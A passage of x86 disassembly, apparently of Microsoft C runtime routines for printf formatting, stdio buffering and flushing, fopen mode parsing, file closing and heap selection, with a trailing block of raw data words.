[ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41A3A9 and edi, 0 loc_41A3A9: ; CODE XREF: sub_419E38+56Cj cmp [ebp+var_10], 0 jge short loc_41A3B8 mov [ebp+var_10], 1 jmp short loc_41A3BC ; --------------------------------------------------------------------------- loc_41A3B8: ; CODE XREF: sub_419E38+575j and [ebp+var_4], 0FFFFFFF7h loc_41A3BC: ; CODE XREF: sub_419E38+57Ej mov eax, esi or eax, edi jnz short loc_41A3C6 and [ebp+var_1C], 0 loc_41A3C6: ; CODE XREF: sub_419E38+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41A3CC: ; CODE XREF: sub_419E38+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41A3DC mov eax, esi or eax, edi jz short loc_41A417 loc_41A3DC: ; CODE XREF: sub_419E38+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_4191D0 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_419250 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41A40D add ebx, [ebp+var_2C] loc_41A40D: ; CODE XREF: sub_419E38+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41A3CC ; --------------------------------------------------------------------------- loc_41A417: ; CODE XREF: sub_419E38+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41A442 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41A435 test eax, eax jnz short loc_41A442 loc_41A435: ; CODE XREF: sub_419E38+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41A43F: ; CODE XREF: sub_419E38+35Fj ; sub_419E38+406j ... mov [ebp+var_C], eax loc_41A442: ; CODE XREF: sub_419E38+21Bj ; sub_419E38+2FDj ... cmp [ebp+var_28], 0 jnz loc_41A540 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41A47A test bh, 1 jz short loc_41A45F mov [ebp+var_16], 2Dh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A45F: ; CODE XREF: sub_419E38+61Fj test bl, 1 jz short loc_41A46A mov [ebp+var_16], 2Bh jmp short loc_41A473 ; --------------------------------------------------------------------------- loc_41A46A: ; CODE XREF: sub_419E38+62Aj test bl, 2 jz short loc_41A47A mov [ebp+var_16], 20h loc_41A473: ; CODE XREF: sub_419E38+625j ; sub_419E38+630j mov [ebp+var_1C], 1 loc_41A47A: ; CODE XREF: sub_419E38+61Aj ; sub_419E38+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41A49A lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A49A: ; CODE XREF: sub_419E38+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41A5DF add esp, 10h test bl, 8 jz short loc_41A4CC test bl, 4 jnz short loc_41A4CC lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41A5AE add esp, 10h loc_41A4CC: ; CODE XREF: sub_419E38+67Bj ; sub_419E38+680j cmp [ebp+var_24], 0 jz short loc_41A513 cmp [ebp+var_C], 0 jle short loc_41A513 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41A4E1: ; CODE XREF: sub_419E38+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41FAFB pop ecx test eax, eax pop ecx jle short loc_41A528 lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41A5DF add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41A4E1 jmp short loc_41A528 ; --------------------------------------------------------------------------- loc_41A513: ; CODE XREF: sub_419E38+698j ; sub_419E38+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41A5DF add esp, 10h loc_41A528: ; CODE XREF: sub_419E38+6BCj ; sub_419E38+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41A540 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41A5AE add esp, 10h loc_41A540: ; CODE XREF: sub_419E38+68j ; sub_419E38+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_419E64 loc_41A551: ; CODE XREF: sub_419E38+1Fj ; sub_419E38+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_419E38 endp ; --------------------------------------------------------------------------- off_41A559 dd offset loc_419FD7 ; DATA XREF: sub_419E38+6Er dd offset loc_419EAD ; jump table for switch statement dd offset loc_419EC8 dd offset loc_419F14 dd offset loc_419F4B dd offset loc_419F53 dd offset loc_419F88 dd offset loc_41A01B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A579 proc near ; CODE XREF: sub_419E38+1BDp ; sub_419E38+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41A592 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41A59D ; --------------------------------------------------------------------------- loc_41A592: ; CODE XREF: sub_41A579+9j push ecx push [ebp+arg_0] call sub_419D23 pop ecx pop ecx loc_41A59D: ; CODE XREF: sub_41A579+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41A5AA or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41A5AA: ; CODE XREF: sub_41A579+2Aj inc dword ptr [eax] pop ebp retn sub_41A579 endp ; =============== S U B R O U T I N E ======================================= sub_41A5AE proc near ; CODE XREF: sub_419E38+65Ap ; sub_419E38+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41A5DC mov esi, [esp+8+arg_C] loc_41A5BF: ; CODE XREF: sub_41A5AE+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41A579 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41A5DC mov eax, edi dec edi test eax, eax jg short loc_41A5BF loc_41A5DC: ; CODE XREF: sub_41A5AE+Bj ; sub_41A5AE+25j pop edi pop esi retn sub_41A5AE endp ; =============== S U B R O U T I N E ======================================= sub_41A5DF proc near ; CODE XREF: sub_419E38+670p ; sub_419E38+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41A613 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41A5F5: ; CODE XREF: sub_41A5DF+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41A579 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41A613 mov eax, ebx dec ebx test eax, eax jg short loc_41A5F5 loc_41A613: ; CODE XREF: sub_41A5DF+Cj ; sub_41A5DF+2Bj pop edi pop esi pop ebx retn sub_41A5DF endp ; =============== S U B R O U T I N E ======================================= sub_41A617 proc near ; CODE XREF: sub_419E38+E5p ; sub_419E38+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41A617 endp ; =============== S U B R O U T I N E ======================================= sub_41A624 proc near ; CODE XREF: sub_419E38+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41A624 endp ; =============== S U B R O U T I N E ======================================= sub_41A634 proc near ; CODE XREF: sub_419E38+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41A634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A642 proc near ; CODE XREF: sub_417794+17p ; sub_417794+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41A660 mov ecx, off_4395A0 movzx eax, word ptr [ecx+eax*2] jmp short loc_41A6B2 ; --------------------------------------------------------------------------- loc_41A660: ; CODE XREF: sub_41A642+10j mov ecx, eax push esi mov esi, off_4395A0 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41A685 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41A68E ; --------------------------------------------------------------------------- loc_41A685: ; CODE XREF: sub_41A642+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41A68E: ; CODE XREF: sub_41A642+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_41FB63 add esp, 1Ch test eax, eax jnz short loc_41A6AE leave retn ; --------------------------------------------------------------------------- loc_41A6AE: ; CODE XREF: sub_41A642+68j movzx eax, word ptr [ebp+arg_0+2] loc_41A6B2: ; CODE XREF: sub_41A642+1Cj and eax, [ebp+arg_4] leave retn sub_41A642 endp ; =============== S U B R O U T I N E ======================================= sub_41A6B7 proc near ; CODE XREF: sub_417900+2Ap ; sub_41FEC6+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_48B440 jnb loc_41A751 mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:48B340h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41A751 push edi call sub_41FE32 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A730 cmp edi, 1 jz short loc_41A6FE cmp edi, 2 jnz short loc_41A714 loc_41A6FE: ; CODE XREF: sub_41A6B7+40j push 2 call sub_41FE32 push 1 mov ebp, eax call sub_41FE32 pop ecx cmp eax, ebp pop ecx jz short loc_41A730 loc_41A714: ; CODE XREF: sub_41A6B7+45j push edi call sub_41FE32 pop ecx push eax call near ptr 2611A31h nop test eax, eax jnz short loc_41A730 call near ptr 2630313h nop mov ebp, eax jmp short loc_41A732 ; --------------------------------------------------------------------------- loc_41A730: ; CODE XREF: sub_41A6B7+3Bj ; sub_41A6B7+5Bj ... xor ebp, ebp loc_41A732: ; CODE XREF: sub_41A6B7+77j push edi call sub_41FDB8 mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41A74D push ebp call sub_41EF44 pop ecx jmp short loc_41A762 ; --------------------------------------------------------------------------- loc_41A74D: ; CODE XREF: sub_41A6B7+8Bj xor eax, eax jmp short loc_41A765 ; --------------------------------------------------------------------------- loc_41A751: ; CODE XREF: sub_41A6B7+Ej ; sub_41A6B7+2Fj and dword_48A018, 0 mov dword_48A014, 9 loc_41A762: ; CODE XREF: sub_41A6B7+94j or eax, 0FFFFFFFFh loc_41A765: ; CODE XREF: sub_41A6B7+98j pop edi pop esi pop ebp pop ebx retn sub_41A6B7 endp ; =============== S U B R O U T I N E ======================================= sub_41A76A proc near ; CODE XREF: sub_417900+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41A793 test al, 8 jz short loc_41A793 push dword ptr [esi+8] call sub_417C3B and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41A793: ; CODE XREF: sub_41A76A+Aj ; sub_41A76A+Ej pop esi retn sub_41A76A endp ; =============== S U B R O U T I N E ======================================= sub_41A795 proc near ; CODE XREF: sub_41A835+2Dp ; sub_41A835+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41A7A7 push esi call sub_41A835 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A7A7: ; CODE XREF: sub_41A795+7j push esi call sub_41A7D0 test eax, eax pop ecx jz short loc_41A7B7 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41A7B7: ; CODE XREF: sub_41A795+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41A7CC push dword ptr [esi+10h] call sub_41FE6F neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A795+26j xor eax, eax pop esi retn sub_41A795 endp ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_417900+1Ap ; sub_418D0E+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41A81D test ax, 108h jz short loc_41A81D mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41A81D push edi push eax push dword ptr [esi+10h] call sub_41ED97 add esp, 0Ch cmp eax, edi jnz short loc_41A816 mov eax, [esi+0Ch] test al, 80h jz short loc_41A81D and al, 0FDh mov [esi+0Ch], eax jmp short loc_41A81D ; --------------------------------------------------------------------------- loc_41A816: ; CODE XREF: sub_41A7D0+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41A81D: ; CODE XREF: sub_41A7D0+14j ; sub_41A7D0+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41A7D0 endp ; =============== S U B R O U T I N E ======================================= sub_41A82C proc near ; CODE XREF: sub_41FAE7p push 1 call sub_41A835 pop ecx retn sub_41A82C endp ; =============== S U B R O U T I N E ======================================= sub_41A835 proc near ; CODE XREF: sub_41A795+Ap ; sub_41A82C+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_48B320, esi jle short loc_41A893 loc_41A846: ; CODE XREF: sub_41A835+5Cj mov eax, dword_48A310 mov eax, [eax+esi*4] test eax, eax jz short loc_41A88A mov ecx, [eax+0Ch] test cl, 83h jz short loc_41A88A cmp [esp+0Ch+arg_0], 1 jnz short loc_41A870 push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41A88A inc ebx jmp short loc_41A88A ; --------------------------------------------------------------------------- loc_41A870: ; CODE XREF: sub_41A835+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41A88A test cl, 2 jz short loc_41A88A push eax call sub_41A795 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41A88A or edi, eax loc_41A88A: ; CODE XREF: sub_41A835+1Bj ; sub_41A835+23j ... inc esi cmp esi, dword_48B320 jl short loc_41A846 loc_41A893: ; CODE XREF: sub_41A835+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41A89E mov eax, edi loc_41A89E: ; CODE XREF: sub_41A835+65j pop edi pop esi pop ebx retn sub_41A835 endp ; =============== S U B R O U T I N E ======================================= sub_41A8A2 proc near ; CODE XREF: sub_417956+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_41FA1C test eax, eax pop ecx jz short loc_41A92B cmp esi, offset dword_43BCD8 jnz short loc_41A8C0 xor eax, eax jmp short loc_41A8CB ; --------------------------------------------------------------------------- loc_41A8C0: ; CODE XREF: sub_41A8A2+18j cmp esi, offset dword_43BCF8 jnz short loc_41A92B push 1 pop eax loc_41A8CB: ; CODE XREF: sub_41A8A2+1Cj inc dword_48A1D8 test word ptr [esi+0Ch], 10Ch jnz short loc_41A92B cmp dword_48A06C[eax*4], 0 push ebx push edi lea edi, ds:48A06Ch[eax*4] mov ebx, 1000h jnz short loc_41A911 push ebx call sub_417B89 test eax, eax pop ecx mov [edi], eax jnz short loc_41A911 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_41A91E ; --------------------------------------------------------------------------- loc_41A911: ; CODE XREF: sub_41A8A2+4Dj ; sub_41A8A2+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_41A91E: ; CODE XREF: sub_41A8A2+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_41A92B: ; CODE XREF: sub_41A8A2+10j ; sub_41A8A2+24j ... xor eax, eax pop esi retn sub_41A8A2 endp ; =============== S U B R O U T I N E ======================================= sub_41A92F proc near ; CODE XREF: sub_417956+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_41A959 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_41A96A push esi call sub_41A7D0 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41A959: ; CODE XREF: sub_41A92F+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_41A96A push eax call sub_41A7D0 pop ecx loc_41A96A: ; CODE XREF: sub_41A92F+10j ; sub_41A92F+32j pop esi retn sub_41A92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A96C proc near ; CODE XREF: sub_417988+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_48A1E0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41A9A5 cmp al, 72h jz short loc_41A99E cmp al, 77h jnz loc_41AAB9 mov ecx, 301h jmp short loc_41A9AA ; --------------------------------------------------------------------------- loc_41A99E: ; CODE XREF: sub_41A96C+21j xor ecx, ecx or esi, 1 jmp short loc_41A9AD ; --------------------------------------------------------------------------- loc_41A9A5: ; CODE XREF: sub_41A96C+1Dj mov ecx, 109h loc_41A9AA: ; CODE XREF: sub_41A96C+30j or esi, 2 loc_41A9AD: ; CODE XREF: sub_41A96C+37j push 1 pop edx loc_41A9B0: ; CODE XREF: sub_41A96C+8Bj ; sub_41A96C+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41AA9F cmp edx, ebx jz loc_41AA9F movsx eax, al cmp eax, 54h jg short loc_41AA3E jz short loc_41AA2E sub eax, 2Bh jz short loc_41AA18 sub eax, 19h jz short loc_41AA0E sub eax, 0Eh jz short loc_41A9F9 dec eax jnz loc_41AA90 cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41A9F9: ; CODE XREF: sub_41A96C+6Fj cmp [ebp+var_4], ebx jnz loc_41AA90 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA0E: ; CODE XREF: sub_41A96C+6Aj test cl, 40h jnz short loc_41AA90 or ecx, 40h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA18: ; CODE XREF: sub_41A96C+65j test cl, 2 jnz short loc_41AA90 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA2E: ; CODE XREF: sub_41A96C+60j mov eax, 1000h test ecx, eax jnz short loc_41AA90 or ecx, eax jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA3E: ; CODE XREF: sub_41A96C+5Ej sub eax, 62h jz short loc_41AA8B dec eax jz short loc_41AA74 sub eax, 0Bh jz short loc_41AA5D sub eax, 6 jnz short loc_41AA90 test ch, 0C0h jnz short loc_41AA90 or ch, 40h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA5D: ; CODE XREF: sub_41A96C+DDj cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA74: ; CODE XREF: sub_41A96C+D8j cmp [ebp+var_8], ebx jnz short loc_41AA90 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA8B: ; CODE XREF: sub_41A96C+D5j test ch, 0C0h jz short loc_41AA97 loc_41AA90: ; CODE XREF: sub_41A96C+72j ; sub_41A96C+7Bj ... xor edx, edx jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA97: ; CODE XREF: sub_41A96C+122j or ch, 80h jmp loc_41A9B0 ; --------------------------------------------------------------------------- loc_41AA9F: ; CODE XREF: sub_41A96C+4Aj ; sub_41A96C+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_41FEC6 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41AABD loc_41AAB9: ; CODE XREF: sub_41A96C+25j xor eax, eax jmp short loc_41AAD7 ; --------------------------------------------------------------------------- loc_41AABD: ; CODE XREF: sub_41A96C+14Bj mov eax, [ebp+arg_C] inc dword_48A1D8 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41AAD7: ; CODE XREF: sub_41A96C+14Fj pop edi pop esi pop ebx leave retn sub_41A96C endp ; =============== S U B R O U T I N E ======================================= sub_41AADC proc near ; CODE XREF: sub_417988p mov edx, dword_48B320 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41AB4D mov ebx, dword_48A310 mov edi, ebx loc_41AAF8: ; CODE XREF: sub_41AADC+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41AB13 test byte ptr [ecx+0Ch], 83h jz short loc_41AB0E inc eax add edi, 4 cmp eax, edx jl short loc_41AAF8 jmp short loc_41AB4D ; --------------------------------------------------------------------------- loc_41AB0E: ; CODE XREF: sub_41AADC+26j mov esi, [ebx+eax*4] jmp short loc_41AB37 ; --------------------------------------------------------------------------- loc_41AB13: ; CODE XREF: sub_41AADC+20j mov edi, eax push 20h shl edi, 2 call sub_417B89 pop ecx mov ecx, dword_48A310 mov [edi+ecx], eax mov eax, dword_48A310 mov edi, [edi+eax] cmp edi, ebp jz short loc_41AB4D mov esi, edi loc_41AB37: ; CODE XREF: sub_41AADC+35j cmp esi, ebp jz short loc_41AB4D or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41AB4D: ; CODE XREF: sub_41AADC+12j ; sub_41AADC+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41AADC endp ; =============== S U B R O U T I N E ======================================= sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp ; sub_41944F+126p ... arg_0 = dword ptr 4 mov eax, dword_48A078 test eax, eax jz short loc_41AB6C push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41AB6C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AB6C: ; CODE XREF: sub_41AB54+7j ; sub_41AB54+12j xor eax, eax retn sub_41AB54 endp ; =============== S U B R O U T I N E ======================================= sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call near ptr 2700B59h nop cmp word ptr [eax], 5A4Dh jnz short loc_41AB9A mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41AB9A add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41AB9A: ; CODE XREF: sub_41AB6F+15j ; sub_41AB6F+1Cj pop esi retn sub_41AB6F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_417B30 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 2771415h test eax, eax jz short loc_41ABDF cmp dword ptr [ebp-88h], 2 jnz short loc_41ABDF cmp dword ptr [ebp-94h], 5 jb short loc_41ABDF push 1 pop eax jmp loc_41ACE1 ; --------------------------------------------------------------------------- loc_41ABDF: ; CODE XREF: ___:0041ABC3j ; ___:0041ABCCj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2820000h test eax, eax jz loc_41ACCE xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41AC21 loc_41AC0E: ; CODE XREF: ___:0041AC1Fj mov al, [ecx] cmp al, 61h jl short loc_41AC1C cmp al, 7Ah jg short loc_41AC1C sub al, 20h mov [ecx], al loc_41AC1C: ; CODE XREF: ___:0041AC12j ; ___:0041AC16j inc ecx cmp [ecx], bl jnz short loc_41AC0E loc_41AC21: ; CODE XREF: ___:0041AC0Cj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_418DA0 add esp, 0Ch test eax, eax jnz short loc_41AC43 lea eax, [ebp-122Ch] jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC43: ; CODE XREF: ___:0041AC39j lea eax, [ebp-19Ch] push 104h push eax push ebx call near ptr 2640000h nop cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41AC77 loc_41AC64: ; CODE XREF: ___:0041AC75j mov al, [ecx] cmp al, 61h jl short loc_41AC72 cmp al, 7Ah jg short loc_41AC72 sub al, 20h mov [ecx], al loc_41AC72: ; CODE XREF: ___:0041AC68j ; ___:0041AC6Cj inc ecx cmp [ecx], bl jnz short loc_41AC64 loc_41AC77: ; CODE XREF: ___:0041AC62j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_417880 pop ecx pop ecx loc_41AC8C: ; CODE XREF: ___:0041AC41j cmp eax, ebx jz short loc_41ACCE push 2Ch push eax call sub_418F50 pop ecx cmp eax, ebx pop ecx jz short loc_41ACCE inc eax mov ecx, eax cmp [eax], bl jz short loc_41ACB3 loc_41ACA5: ; CODE XREF: ___:0041ACB1j cmp byte ptr [ecx], 3Bh jnz short loc_41ACAE mov [ecx], bl jmp short loc_41ACAF ; --------------------------------------------------------------------------- loc_41ACAE: ; CODE XREF: ___:0041ACA8j inc ecx loc_41ACAF: ; CODE XREF: ___:0041ACACj cmp [ecx], bl jnz short loc_41ACA5 loc_41ACB3: ; CODE XREF: ___:0041ACA3j push 0Ah push ebx push eax call sub_41881C add esp, 0Ch cmp eax, 2 jz short loc_41ACE1 cmp eax, 3 jz short loc_41ACE1 cmp eax, 1 jz short loc_41ACE1 loc_41ACCE: ; CODE XREF: ___:0041ABF8j ; ___:0041AC8Ej ... lea eax, [ebp-4] push eax call sub_41AB6F cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41ACE1: ; CODE XREF: ___:0041ABDAj ; ___:0041ACC2j ... pop ebx leave retn ; --------------------------------------------------------------------------- dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5306E850h, 85900241h dd 0B684A3C0h, 36740048h, 0FFFE93E8h, 3F883FFh, 48B688A3h dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h dd 0C0850000h, 35FF0F75h, 